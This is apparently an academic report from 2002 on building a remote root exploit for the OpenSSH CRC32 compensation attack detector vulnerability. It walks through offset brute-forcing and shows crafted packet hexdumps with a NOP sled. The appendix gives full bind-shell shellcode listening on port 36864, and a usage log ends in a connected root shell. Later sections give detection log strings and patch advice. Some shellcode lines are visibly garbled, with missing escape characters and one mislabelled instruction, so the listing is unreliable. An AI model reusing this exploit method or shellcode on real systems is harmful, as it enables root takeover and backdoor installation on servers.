"On October 6, 2001, intruders originating from network blocks in the Netherlands used an exploit for the crc32 compensation attack detector vulnerability to remotely compromise a Red Hat Linux system on the UW network running OpenSSH 2.1.1." This vulnerability is described in CERT Vulnerability note VU#945216 [6]:

Once in the system, a series of operating system commands were replaced with trojan horses to provide back doors for later entry and to conceal the presence of the intruders in the system. A second SSH server was run on a high numbered port (39999/tcp). The system was then used for broad scanning (outbound from the UW network) to identify more systems running OpenSSH 2.1.1, some of which were then attacked manually." [8] [9]

3.2 Problems
As one can see after examining the detect_attack() function, the hardest problem in exploiting is the addresses of critical variables and the address of the return pointer.

A successful exploit must guess the following parameters (or some parameters that the following can be calculated from):

distance between 'h' and 'buf'
distance between 'h' and the return address on the stack
the value of the return address (higher word enough)
the absolute address of 'buf'
With these parameters the exploit is somewhat straighforward. Educated guesses can be made with the knowledge of the host (operating system, processor, linux distribution, kernel version etc). This information should be easy to gather using automated tools. The attacker could for example get the version strings of mail, ftp, http, ssh, imap, and pop servers and compare them with the default versions of some distributions. This way he can get the same SSHD daemon and maybe try it on his lab.

Part of the parameters can be find using brute force methods. The buffer 'buf' can be found using a packet that writes to a specific region of memory. Making a educated guess of the boundaries where the buffer is located and starting to write from there. If the server dies (client sees connection closing), the algorithm should change the address and start again. The server dies because of segmentation fault (i.e. writing to a read-only memory etc). If the server reports something like "invalid bytes on packet", the writing was successful and the buffer is located (on high probability).

3.3 Available implementations
The implementations of this exploit are not easy to get. We were able to find a binary exploit called shack. This can be downloaded from [10].

The source code of the binary is not available but an analysis of an attack done with this tool can be read at [11].

The shack tries to locate the parameters using couple binary searches. After it has revealed good enough estimates of memory locations, it starts the bruteforcing. The shellcode of the shack creates a root shell on the host machine and the attacker can use it to install the trojans.

We tried the shack on couple of servers running the same version of OpenSSH. One host was succesfully exploited with this, the other one wasn't. Our exploit worked for both.

Another exploit by zip/TESO should be wondering somewhere, at least there are some analysis about that: [8]

Both of the analysis are concentrated on the network traffic and detection. It is kind of disappointing that nobody has analyzed the exploits in the lower levels, or how it is done.

We used the tcpflow-program to capture the network traffic created by shack. After analyzing the traffic we were able to reverse engineer the code almost completely. The process is documented in Chapter 4 [12].

3.4 Shellcode
Shellcode means the code that the attacker wants to run on a target computer. The code creates a shell hopefully running as root account. One version of shellcode is a portshell. It creates a backdoor that listens some specific TCP port on the target machine. When the attacker telnets to the target to that port, the portshell binds a shell to the tcp stream and the attacker has his own telnet-type access (with root-account!).

The shellcode is typically ran only a few minutes. In that time the attacker tries to install his rootkits and trojans, clears the logs and traces. After that the attacker uses some ordinary access type to get to the host.

Shellcodes are always platform dependant because they are made of assembly instructions. The attacker must know what platform is on the target. Shellcodes usually don't contain any zero bytes because then they couldn't be used with strpcy() functions. For example 'mov eax,0' must be transformed as 'xor eax,eax'. This does the eax clearing but doesn't contain zero when its run through assembler.

A shellcode example (port shell) with sources can be seen at [13]

The Phrack magazine has a great article about shellcodes and buffer overflows: [1]

4 Our exploit
4.1 Goals
The meaning of our exploit project is to hijack a remote host running sshd. this is attempted using sshd's vulnerabilities discussed in Chapter 2. The goal is to be able to access the remote host with root privileges and thereby gain access to all information and controls on the target host.

4.2 Resources
ssh daemon (modified)
We used Openssh-2.2.0p1 as the victim's ssh daemon. This implementation of sshd (protocol version less than 2) was known to be vulnerable to our attack and it was easily available over the Internet. We modified the sshd for the development phase by having it print out important frame and stack information. The stack location information was helpful in fine-tuning function return address overwriting. BSS memory section's location information gave directions to finding our shellcode in memory.
 
After the exploit application was finished, we restored the sshd to its original state.
 
ssh client source code
Openssh-2.3.0p1 was used as a platform for our exploit, since we found one occasion where a similar exploit was possible with this version. However, as far as we know, any other ssh client may have been used in our exploit.
 
In order to have the client to send the encrypted ssh packets of our choice, we modified the client to send exactly those cipherblocks we asked it to. Usually the client takes plaintext from the user and sends its ciphertext over the network. This time we wanted to send specific ciphertext and actually we did not care about the corresponding plaintext.
 
We let the client do key exchange in the ordinary fashion, but when the ciphering starts and user authentication is about to begin, we send malicious packets to the victim.
 
Teso/Shack logs & network traffic
We acquired a similar exploit from 'Team Teso', which was successful in running the required shellcode, but only with very good initial guesses for stack and bss section locations. This implementation was very inefficient.
 
We found another exploit called 'shack' which is related to 'anti.security.is'. This exploit is assumed to be proprietary in the first place and for sale, but it slipped to public. Only the binary of this exploit was available. Although the logs it generates gave us hints what it was doing. Some references call this exploit the Teso-exploit, but we think that it only uses the teso-method to find a critical parameter run-time.
 
The 'shack' exploit was a black box to us and we conducted extended analysis of the network traffic it generated.
 
Shellcode
We acquired a shellcode from Anathema anathema@hack.co.za, which was used in our implementation. See appendix 7.1. This implementation will create a socket for enabling remote access, bind the socket to the process, accept connections to port 36864, and execute a shell.
4.3 Process
We created an exploit application for handling the brute force methodology of the exploit. It uses the modified ssh client to try connections to the victim, with certain intelligence. The application generates malicious packets for the victim and lets the modified ssh client send them. Depending on the output of the server, the application makes conclusions on the effects of the malicious packet. The server may return such messages as 'corrupt bytes in packet' or 'CRC32 compensation attack detected'. Although, the most frequent response is a mere connection close since the server crashes often (SEGV). These output strings are analysed and used as directions for next malicious packets. It is very typical that the connection closes after the first cipherpacket, since it is somehow malformed. For example our exploit doesn't consider CRC checksums and therefore the sshd closes the connection. Although, a lot can happen before the connection is closed…

The process itself consists of four phases, of who the last one attempts to run the shellcode.

4.3.1 Reverse Engineering
The shack exploit surprised us with its capability to find out critical addresses concerning the exploit. A utility program called 'tcpflow' and gnu debugger were used to reverse engineer the operation of the shack exploit. Tcpflow is a program which captures entire tcp connections combining all relevant packets together. This tool was crucial in succeeding to make a working exploit.

Hexdump was used to interpret the data in readable format:

hexdump -e '"%07.7_ax " 16/1 "%02x " "n"' -s 0xb8 192.168.001.010.03164-192.168.001.001.02222 | less
Gdb was used to diagnose various erroneous states and in confirming memory address calculations.

4.3.2 Packet sending
We modified the packet.c source file in such a way that the client sends dedicated cipherpackets we ask it to. Packet.c includes a function definition for packet_write_poll() which is used to write the ciphertext to outgoing buffer. Our modified implementation reads the desired cipherpacket from a file '/tmp/exploit_packet' and sends it. These packet files are written by our exploit application.

4.3.3 Finding distance to 'buf'
The first thing that can be calculated in the server's memory addresses is the distance from variable h to variable buf (according to detect_attack() function). The following format of cipherpacket was used to search for the distance from h to buf:

Extract from packet #1:

00000b8 00 00 00 00 ff ff ff ff 00 00 00 01 ff ff ff ff
00000c8 00 00 00 04 ff ff ff ff 00 00 00 05 ff ff ff ff
00000d8 00 00 00 08 ff ff ff ff 00 00 00 09 ff ff ff ff
00000e8 00 00 00 0c ff ff ff ff 00 00 00 0d ff ff ff ff
00000f8 00 00 00 10 ff ff ff ff 00 00 00 11 ff ff ff ff
...
This is the first type of packet that our exploit uses. It consists of 184-byte header and 102400 bytes 8-byte blocks that consist of a small 32-bit number and 0xFFFF. Consecutive packets increase the small numbers. When sshd processes this kind of packet, it will set i to first 32-bits of each 8-byte block (#3 in detect_attack()). It tries to read memory at h[i] on the same line. This read will cause SEGV if i is such an offset to h that the address is not readable. SEGV also happens if buf + h[i] * 8 is unreadable. With this kind of packet, the sshd will practically always SEGV at #4 in detect_attack() when done thousands of times in a row.

The trick is to have i[small number] point always to 0xFFFF. This is same as 'HASH_UNUSED' and the memory read is skipped. The packet contains 12800 small numbers that make h[i] point to a loose array of approximately half the length of the packet. When the first small number in the packet points to the first half of the buffer, each h[i] will have value 0xFF and the memory read is skipped. It would be extremely rare to find such an array in memory in a place other than buf. Binary search is used to find the smallest small number that will not cause SEGV. A hit to buf will cause 'corrupt bytes' response from the sshd.

In the first phase, the small number is increased by packet_length / 4 so that its pointed address h[small number] points packet_length / 2 forward on each packet. This is a fast scan through the memory to find appriximate distance from h to buf. The second phase is a binary search which will find the distance accurately and reliably.

4.3.4 Finding distance to kernel space
The next memory address to find is h-to-kernel_space distance. The reason why we are interested in this distance is that the stack frame of the current process is close to the kernel space i.e. somewhere below address 0xC0000000. The stack frame is of interest since the saved EIP of the parent function is there. See Chapter 2.3. In this phase, we use a dedicated type of ssh-cipherpacket to test if h[i] is readable (#3 in detect_attack()) and small enough that 'buf + h[i] * SSH_BLOCKSIZE' is readable (#4 in detect_attack()). The stack area contains such small numbers. This packet type uses this test only once - at 0x5BFC4280 in the packet hexdump extract below. We want to test one address only and exit the process as quickly as we can. The pattern of '0x00002860 0100FFFF's is a tell-tale sign for the sshd that this packet uses CRC32 compensation attack. We want the sshd to think like this in order to close the connection right away and speed up the process. On the other hand we can now distinguish between SEGV while processing the first 8-byte ssh block and CRC32 compensation attack detected while processing the second block. This will let the attacker know if the sshd could read memory at 0x5BFC4280.

The packets our exploit sends are filled with the quess for h-to-kernel_space offset (16-bit), although it is required only in the very beginning of the packet.

000000b8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000d8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000e8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000f8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000108 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000118 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000128 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000138 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000148 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000158 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000168 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000178 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000188 00 00 28 60 01 00 ff ff 5b fc 42 80 73 50 ff ff ; ..(`..ÿÿ[üB€sPÿÿ
00000198 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001a8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000001b8 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
...
Our exploit is a bit simplified version of the 'shack' implementation in this phase. Shack uses three different packet types to hunt down the h-to-stack distance with binary search. Our exploit only finds the distance from h to kernel_space. Although the difference is usually quite small and we can compensate the error in the shellcode phase. Our current implementation brute forces the distance beginning from an educated quess. It starts testing addresses way deep in the kernel space and comes down gradually and finds the lower bound of the kernel space. With this distance, we can calculate the addresses for h and buf.

4.3.4 Sending shellcode
The heart of our exploit is to send the packet that finalizes the breach to the victim host. This packet combines basically three important functions. It rewrites the saved EIP in the stack frame, exits the attack_detect() function call as quickly as possible, and when returned, executes the shellcode that lets the attacker telnet to the victim and control a root shell. The base of this packet is NOP instruction (0x90 on Intel x86 architecture) since it occupies most of this packet. Other contents are inserted where necessary. The following tcpdump extract shows what this ssh cipherpacket consists of.

000000b8 00 00 28 5d 73 50 ff ff 00 00 28 61 73 50 ff ff ; ..(]sPyy..(asPyy
000000c8 00 00 28 65 73 50 ff ff 00 00 28 69 73 50 ff ff ; ..(esPyy..(isPyy
000000d8 00 00 28 6d 73 50 ff ff 00 00 28 71 73 50 ff ff ; ..(msPyy..(qsPyy
000000e8 00 00 28 75 73 50 ff ff 00 00 28 79 73 50 ff ff ; ..(usPyy..(ysPyy
000000f8 00 00 28 7d 73 50 ff ff 00 00 28 81 73 50 ff ff ; ..(}sPyy..(sPyy

000040c8 00 00 48 65 73 50 ff ff 00 00 48 69 73 50 ff ff ; ..HesPyy..HisPyy
000040d8 00 00 48 6d 73 50 ff ff 00 00 48 71 73 50 ff ff ; ..HmsPyy..HqsPyy
000040e8 5b fc 2f 7f 73 50 ff ff 00 00 48 79 73 50 ff ff ; [ü/sPyy..HysPyy
000040f8 5b fc 2f 7f 73 50 ff ff 00 00 48 80 09 08 90 90 ; [ü/sPyy..H€.. 
00004108 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004118 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004128 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
00004138 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004148 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
00004158 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 
00004168 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 
00004178 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
00004188 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004198 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041a8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
000041b8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041c8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041d8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
000041e8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041f8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
00004208 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 

00019028 eb 72 5e 29 c0 89 46 10 40 89 c3 89 46 0c 40 89 ; ër^)À‰F.@‰Ã‰F.@‰
00019038 46 08 8d 4e 08 b0 66 cd 80 43 c6 46 10 10 66 89 ; F.N.°fÍ€CÆF..f‰
00019048 5e 14 88 46 08 29 c0 89 c2 89 46 18 b0 90 66 89 ; ^.ˆF.)À‰Â‰F.°f‰
00019058 46 16 8d 4e 14 89 4e 0c 8d 4e 08 b0 66 cd 80 89 ; F.N.‰N.N.°fÍ€‰
00019068 5e 0c 43 43 b0 66 cd 80 89 56 0c 89 56 10 b0 66 ; ^.CC°fÍ€‰V.‰V.°f
00019078 43 cd 80 86 c3 b0 3f 29 c9 cd 80 b0 3f 41 cd 80 ; CÍ€†Ã°?)ÉÍ€°?AÍ€
00019088 b0 3f 41 cd 80 88 56 07 89 76 0c 87 f3 8d 4b 0c ; °?AÍ€ˆV.‰v.‡óK.
00019098 b0 0b cd 80 e8 89 ff ff ff 2f 62 69 6e 2f 73 68 ; °.Í€è‰yyy/bin/sh
000190a8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
The first part of the packet is designed so that the for loop (before #3 in detect_attack()) increases the value of j, See Chapter 3 for more information. These blocks are filled with offsets for h to point to the following 0xFF's. This will make the for loop run quickly and smoothly until j is what we want it to be. We want j to be that value which will be written to saved_EIP. The most significant word (16-bit) of the saved_EIP is usually around 0x807. The least significant word can be whatever. Since detect_attack() will try to read memory at (buf + h[i] * SSH_BLOCKSIZE) at #4, the value we write on top of the old word in the memory cannot be very large. This means that we can only write small numbers to memory with detect_attack(). This is a reason for only writing the most significant byte of the saved_EIP, which is only about 0x807 and makes (buf + h[i] * SSH_BLOCKSIZE) readable at #4. However, this is no problem for our exploit, because our NOP sled is over 0xFFFF long and it doesn't matter what the LSW of EIP is if the MSW is correct.

When j is the desired saved_EIP_MSW (guessed), we set i to be the h-to-saved_EIP offset (guessed). Now detect_attack() will have to reach point #5 to write the new EIP with correct values of i and j. This is only possible when if clause at #4 is true and the CRC will be checked with check_crc(). This check will not generate 'CRC32 compensation attack detected' message since there is no attack pattern. On the contrary, the crc_check() will pass and the for loop is broken out of. Now h[i] will be j and detect_attack() has been exploited.

One more thing: The comparison at #4 will only pass if the block at c is the same as (buf + h[i] * SSH_BLOCKSIZE). j will be the target saved_EIP_MSW (such as 0x807) and c is (buf + j * SSH_BLOCKSIZE), so we need to fix the contents at (buf + h[i] * SSH_BLOCKSIZE) to be the same as at c. h[i] hopefully points to the MSW of saved_EIP and has a value that is the real return address for detect_attack() at this point. This is usually something like 0x805. This means that the block number 0x805 in our packet must have the same content as the block number 0x807 at hand. Therefore we need to have an exact copy of the saved_EIP_MSW writing block at 0x807. In the tcpdump above, these two blocks can be seen at 0x40E8 and at 0x40F8.

Once again, these blocks are followed by the CRC32 compensation attack pattern for exiting the outer for loop as quickly as possible. This pattern consists of 15 blocks that each include a h-to-buffer offset that points to the first block of this pattern (0x809, GET_CRC32() order). When detect_attack() processes the block number 0x809, it detects the attack and returns. By a miracle, the return address is now 0x807 and the process execution jumps to a new location, hopefully the NOP sled in the buffer.

4.3.5 Executing shellcode
Once the EIP lands on the NOP sled in buf, the execution will slide down the sled to the shellcode, where the attackers code will be executed with root privileges. The system call to execve in the shellcode will capture the ongoing process which will be bound to a tcp port.

The shellcode itself is 128 bytes long including the string that is passed to execve system call. The biggest problem of the shellcode is that it will have to know the address of the string "/bin/sh" in order to pass it as an argument to the system interrupt. For this purpose, it uses a call-pop combination to write EIP to stack and then pop it from the stack. Easy as that.

Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be [1]:

Arrangement of Shellcode execution:

        bottom of  DDDDDDDDEEEEEEEEEEE     top of
        memory     89ABCDEF0123456789A     memory
                   buffer            
       
        <------   [JSSSSSSSSSSSSSSCCss]
                   |^             ^|            
                   ||             ||
               (1) ||_____________||
                    |______________| (2)
        top of                             bottom of
        stack                              stack
See Appendix 7.1 for details.

4.4 Using exploit
The exploit application is a command-line utility that can be run on many different platforms. In the case of Intel x86 architecture, Linux, and victim sshd version openssh-2.2.0p1, the exploit works fine with no command-line arguments whatsoever. With different platforms, some parameter need adjusting to run the exploit in sensible time span.

A user of our exploit needs:

Openssh-2.3.0 client sourcecode
packet.diff for modifying the ssh client
uxp2.c sourcecode (our exploit application)
See Appendix 7.3 for packet.diff and uxp2.c source code files.

See Appendix 7.2 for details what the exploit looks like from the attackers point of view.

After the attacker connects to the victims new open port and root shell, the sshd gives 10 minutes to run commands as root. After those minutes the sshd parent process that forks children for individual connections will close the connection in the name of a time-out. This time can be used to implant Trojan horses and other malicious programs into the victim that will for example expose passwords as they are typed in.

4.5 Advantages and Disadvantages
The advantage of the exploit is that it runs without any parameters and succeeds to run the shellcode with some non-zero probability. The application runs the shellcode quite quickly compared to some other CRC32 attack detector exploits that also require perfect guesses for addresses.

The biggest disadvantage is that the application is heavily optimized for our own hardware and software platform. The application could prompt the user for different target sshd-implementations, for example. Some memory-address distances are determined by brute-force means. Switching to binary search could make the exploit a lot quicker. The exploit could also include some sort of root kit or tools to preserve the access to the victim host.

5 Counter actions
5.1 Detecting attacks
Detecting attacks using this exploit can be done pretty easily if the host has already some active log monitor or traffic follower (e.g. snort) running.

The traffic is quite notable because this is based on bruteforcing. The count of log entries on target machine will be therefore high. The following strings could be filtered out with the log monitor:

sshd[24399]: Disconnecting: Corrupted check bytes on input.
sshd[24439]: Disconnecting: crc32 compensation attack: network attack detected
If those entries are matched many on a row, the log monitor could dynamically set the firewall to block the connections from the source ip mentioned on the logs.

The traffic monitor could either check the lengths of the packets or if the packet contains lot of NOP instructions (0x90 on Intel platforms). The length of the packets is fairly constant (about 100kB) and there are only one big packet per connection and then the connection is dropped. Snort could be configured to do this monitoring easily.

Also the normal hack detection methods can be used. For example check the integrity of binaries using some automated tool (e.g. tripwire). If the logs are kept on and sent real-time to different, secure host, then the logs should inform about something mystical because they can't be tampered.

5.2 Required actions after being attacked
If the system's security is breached:

disconnect the machine from the network immediately
disconnect also the other hosts 'near' the infected one because probably the attacker has gained root on those machines as well
notify the users of this host
start to analyze the logs with security expert and inform the police if necessary (helps you in the case where your host is used in hacking other hosts)
do NOT put the machine in a production environment without complete system reinstall
This is the same procedure that should be followed in any hack suspicion.

5.3 Preventive actions
The vulnerability is easily fixed: change the variable n from 16-bit to 32-bit or set some kind of check for packet length or the value of n.

Frankly, updating your SSH daemon to a newer, secure version is the safest bet.

If the users are willing, restrict the hosts where the users can log from. This can be done using firewall settings.

6 References
[1] Aleph One: [phrack] Smashing The Stack For Fun And Profit [online] [referenced March 20, 2002] Vol 7, Issue 49
Available from: <http://www.phrack.com/phrack/49/P49-14>
[2] blackshell@hushmail.com: [Securityfocus bugtraq: vuln-dev archive] ssh1 remote root exploit [online]. [referenced March 20, 2002] Available from: <http://online.securityfocus.com/archive/82/247801>
[3] Johnson, Michael K. Linux Memory Management Overview. In Linux documentation project [online] [referenced March 20, 2002] Available from:  <http://www.linuxdoc.org/LDP/khg/HyperNews/get/memory/linuxmm.html>
[4] Visscher Paul. readelf man page [online] [referenced March 20, 2002] Available from:  <http://www.gnu.org/manual/binutils-2.10.1/html_chapter/binutils_14.html>
[5] Starzetz, Paul. ssh1.crc32.txt [online article] [referenced March 20, 2002] Available from:  <http://packetstorm.widexs.nl/0102-exploits/ssh1.crc32.txt>
[6] Lanza, Jeffrey P. Vulnerability Note VU#945216 [online], Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from:  <http://www.kb.cert.org/vuls/id/945216>
[7] SSH CRC-32 Compensation Attack Detector Vulnerability, Securiryfocus.com bugtraq list [online]. [referenced March 20, 2002] Available from:  <http://online.securityfocus.com/bid/2347>
[8] Dittrich, David A. Analysis of SSH crc32 compensation attack detector exploit [online]. [referenced March 20, 2002] Available from: <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[9] Rafail, Jason A.; Dougherty, Chad. CERT® Advisory CA-2001-35 Recent Activity Against Secure Shell Daemons [online] Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from:  <http://www.cert.org/advisories/CA-2001-35.html>
[10] Packetstorm exploit archive, Shack exploit [online] [referenced March 20, 2002] <http://packetstorm.widexs.nl/0201-exploits/cm-ssh.tgz>
[11] Incidents.org, Handler's Diary Thursday, December 13th 2001 [online] [referenced March 20, 2002] <http://www.incidents.org/diary/diary.php?id=118>
[12] Elson, Jeremy. tcpflow -- A TCP Flow Recorder [online] [referenced March 20, 2002] <http://www.circlemud.org/~jelson/software/tcpflow/>
[13] jsb4ch@hotmail.com, ANTI-prym/h4g1s portshell code [online] [referenced March 20, 2002] <http://www.cotse.com/sw/linux/portshell.txt>
[14] Heinisuo, Rami et al.: Elektronisen viittaamisen opas [online]. Jyväskylä: University of Jyväskylä, 1997 [referenced January 27, 2002] Available from: <http://lib.hut.fi/Elehdet/Elviira/ >
[15] Siegert, Martin: [linux-security] ssh1 remote root exploit [online]. Simon Fraser University, 2001 [referenced January 27, 2002] SFU's linux-security mailing list. Available from: <http://www.sfu.ca/~siegert/linux-security/msg00017.html>
[16] SSH statement regarding the vulnerability of SSH1 protocol <http://www.ssh.com/products/ssh/cert/>
[17] Possible OpenSSH DoS Attack <http://www.securityfocus.com/cgi-bin/archive.pl?id=82&start=2002-01-26&end=2002-02-01&threads=0&mid=004401c181d1$2b91adc0$0400a8c0@pi>
[18] SSH Vulnerability Scan Vulnerability to CRC32 compensation attack detector exploit <http://www.securityfocus.com/archive/1/243644> <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[19] Cisco Security Advisory: Multiple SSH Vulnerabilities <http://www.cisco.com/warp/public/707/SSH-multiple-pub.html>
[20] OpenSSH subject to traffic analysis <http://www.securityfocus.com/archive/1/176117/> <http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt>
[21] SSH brute forcer <http://www.securityfocus.com/archive/82/252405>
[22] blackshell tool1: SSHD vulnerability scanner <http://www.securityfocus.com/archive/82/247801>
[23] Ylönen, Tatu.  The SSH (Secure Shell) Remote Login Protocol [online] [referenced March 20, 2002] <http://www.snailbook.com/docs/protocol-1.5.txt>

7 Appendices
7.1 Shellcode
/*
*  Linux/x86
*  TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] =         /* anathema <anathema@hack.co.za> */
        /* main: */
"xebx72"                        /* jmp callz               */

        /* start: */
"xebx72"                        /* popl %esi               */

        /* socket() */
"x29xc0"                        /* subl %eax, %eax         */
"x89x46x10"                        /* movl %eax, 0x10(%esi)   */
"x40"                                /* incl %eax               */
"x89xc3"                        /* movl %eax, %ebx         */
"x89x46x0c"                        /* movl %eax, 0x0c(%esi)   */
"x40"                                /* incl %eax               */
"x89x46x08"                        /* movl %eax, 0x08(%esi)   */
"x8dx4ex08"                        /* leal 0x08(%esi), %ecx   */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* bind() */
"x43"                                /* incl %ebx               */
"xc6x46x10x10"                /* movb $0x10, 0x10(%esi)  */
"x66x89x5ex14"                /* movw %bx, 0x14(%esi)    */
"x88x46x08"                        /* movb %al, 0x08(%esi)    */
"x29xc0"                        /* subl %eax, %eax         */
"x89xc2"                        /* movl %eax, %edx         */
"x89x46x18"                        /* movl %eax, 0x18(%esi)   */
"xb0x90"                        /* movb $0x90, %al         */
"x66x89x46x16"                /* movw %ax, 0x16(%esi)    */
"x8dx4ex14"                        /* leal 0x14(%esi), %ecx   */
"x89x4ex0c"                        /* movl %ecx, 0x0c(%esi)   */
"x8dx4ex08"                        /* leal 0x08(%esi), %ecx   */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* listen() */
"x89x5ex0c"                        /* movl %ebx, 0x0c(%esi)   */
"x43"                                /* incl %ebx               */
"x43"                                /* incl %ebx               */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* accept() */
"x89x56x0c"                        /* movl %edx, 0x0c(%esi)   */
"x89x56x10"                        /* movl %edx, 0x10(%esi)   */
"xb0x66"                        /* movb $0x66, %al         */
"x43"                                /* incl %ebx               */
"xcdx80"                        /* int $0x80               */

        /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3"                        /* xchgb %al, %bl          */
"xb0x3f"                        /* movb $0x3f, %al         */
"x29xc9"                        /* subl %ecx, %ecx         */
"xcdx80"                        /* int $0x80               */
"xb0x3f"                        /* movb $0x3f, %al         */
"x41"                                /* incl %ecx               */
"xcdx80"                        /* int $0x80               */
"xb0x3f"                        /* movb $0x3f, %al         */
"x41"                                /* incl %ecx               */
"xcdx80"                        /* int $0x80               */

        /* execve() */
"x88x56x07"                        /* movb %dl, 0x07(%esi)    */
"x89x76x0c"                        /* movl %esi, 0x0c(%esi)   */
"x87xf3"                        /* xchgl %esi, %ebx        */
"x8dx4bx0c"                        /* leal 0x0c(%ebx), %ecx   */
"xb0x0b"                        /* movb $0x0b, %al         */
"xcdx80"                        /* int $0x80               */

        /* callz: */
"xe8x89xffxffxff"                /* call start              */
"/bin/sh";
7.2 Exploit usage
[root@localhost exploit]# ../uxp2
Finding estimate for h..buf distance
  Testing h..buf offset: 0x00000000 B  NOT FOUND (SEQV)
  Testing h..buf offset: 0x0000c800 B  FOUND (Corrupt bytes)
Finding exact h..buf distance
  Testing h..buf offset: 0x00004800 B (prev. step=0x00008000h) NOT FOUND. Increasing by 0x00002000
  Testing h..buf offset: 0x00008800 B (prev. step=0x00004000h) FOUND. Decreasing by 0x00001000
  Testing h..buf offset: 0x00006800 B (prev. step=0x00002000h) FOUND. Decreasing by 0x00000800
  Testing h..buf offset: 0x00005800 B (prev. step=0x00001000h) FOUND. Decreasing by 0x00000400
  Testing h..buf offset: 0x00005000 B (prev. step=0x00000800h) NOT FOUND. Increasing by 0x00000200
  Testing h..buf offset: 0x00005400 B (prev. step=0x00000400h) FOUND. Decreasing by 0x00000100
  Testing h..buf offset: 0x00005200 B (prev. step=0x00000200h) FOUND. Decreasing by 0x00000080
  Testing h..buf offset: 0x00005100 B (prev. step=0x00000100h) FOUND. Decreasing by 0x00000040
  Testing h..buf offset: 0x00005080 B (prev. step=0x00000080h) NOT FOUND. Increasing by 0x00000020
  Testing h..buf offset: 0x000050c0 B (prev. step=0x00000040h) FOUND. Decreasing by 0x00000010
  Testing h..buf offset: 0x000050a0 B (prev. step=0x00000020h) NOT FOUND. Increasing by 0x00000008
  Testing h..buf offset: 0x000050b0 B (prev. step=0x00000010h) NOT FOUND. Increasing by 0x00000004
  Testing h..buf offset: 0x000050b8 B (prev. step=0x00000008h) FOUND. Decreasing by 0x00000002
Found exact distance: 0x000050b4
Finding lower kernel area boundary
  Testing h..boundary offset 0xb7f88500 NOT FOUND. (SEQV)
  Testing h..boundary offset 0xb7f884fc NOT FOUND. (SEQV)
  Testing h..boundary offset 0xb7f884f8 FOUND. (CRC32 Attack Detected)
Trying to run shellcode. If output stalls, telnet to 192.168.1.1:36864
  Trying shellcode/ (eip_MSW@0xbfffda00 pres_MSW=0x0806 targ_MSW=0x0808)

[1]+  Stopped                 ../uxp2
[root@localhost exploit]# kill %1

[1]+  Stopped                 ../uxp2
[root@localhost exploit]#
[root@localhost exploit]# telnet 192.168.1.1 32864
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
[root@localhost exploit]# telnet 192.168.1.1 36864
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
